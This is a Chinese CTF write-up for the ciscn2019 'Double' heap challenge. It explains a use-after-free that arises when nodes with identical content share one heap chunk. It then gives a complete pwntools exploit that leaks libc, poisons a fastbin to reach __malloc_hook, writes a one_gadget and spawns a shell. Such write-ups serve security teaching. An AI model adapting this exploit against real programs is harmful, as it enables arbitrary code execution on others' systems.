ciscn2019-Double

介绍

仍然是国赛2019的一道题,正如它的名字,是一个double free,不过漏洞不那么容易看出来(虽然我是一下子就看出来了)。

分析程序

还是一个单选程序,可以增加,查看,编辑,删除。处理的是一个单链表,结构体如下。有两个全局变量指向链表头和尾。

1
2
3
4
5
6
00000000 node            struc ; (sizeof=0x18, mappedto_6)
00000000 index dd ?
00000004 size dd ?
00000008 content_addr dq ? ; offset
00000010 nextNode dq ? ; offset
00000018 node ends

其中漏洞在new的时候,当new一个新node的时,读入content后,会与上一次的content做比较,如果相同则无需开辟新空间,直接将指针指过去就好。因此,虽然在free时有将指针清零,但有可能有多个指针指向一个堆块,所以会造成double free,其实因为还有edit操作,所以我们可以直接UAF,即可分配堆到我们想要的地方。

(这大概就是所谓的优化带来的bug吧)

利用方式

  1. malloc两个content相同的smallbin,并free掉其中一个,content上就会有libc的地址,利用另一个node打印出来即可造成信息泄漏。
  2. 再次malloc两个content相同的smallbin,free其中一个,再利用另一个node去改写fd的值,导致下一次malloc的地址可控,malloc到__malloc_hook附近,然后将__malloc_hook填为onegadget即可。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

binary = './pwn'
lib = '/lib/x86_64-linux-gnu/libc-2.23.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

def new(content):
p.sendlineafter('> ','1')
p.sendlineafter('Your data:',content)
p.recvuntil('Success, index: ')
idx = int(p.recvuntil('\n'))
return idx

def show(idx):
p.sendlineafter('> ','2')
p.sendlineafter('Info index: ',idx)

def edit(idx, content):
p.sendlineafter('> ','3')
p.sendlineafter('Info index: ',idx)
p.sendline(content)

def delete(idx):
p.sendlineafter('> ','4')
p.sendlineafter('Info index: ',idx)

# leak
new('1'*200) # 0
new('1'*200) # 1
delete('0')
show('1')
leak = u64(p.recv(6)+'\x00\x00')
libc.address = leak - (0x7f77a0c73b78 - 0x7f77a08af000)
p.info('libc.address: %s' % hex(libc.address))
new('1'*200) # 2


new('1'*100) # 3
new('1'*100) # 4
delete('3')

edit('4', p64(libc.symbols['__malloc_hook'] - 35))

new('2'*100) # 5

one_gadget = libc.address + 0x4526a
payload = (cyclic(0x13) + p64(one_gadget)).ljust(100,'\x00')
new(payload) # 6

p.sendlineafter('> ','1')

p.interactive()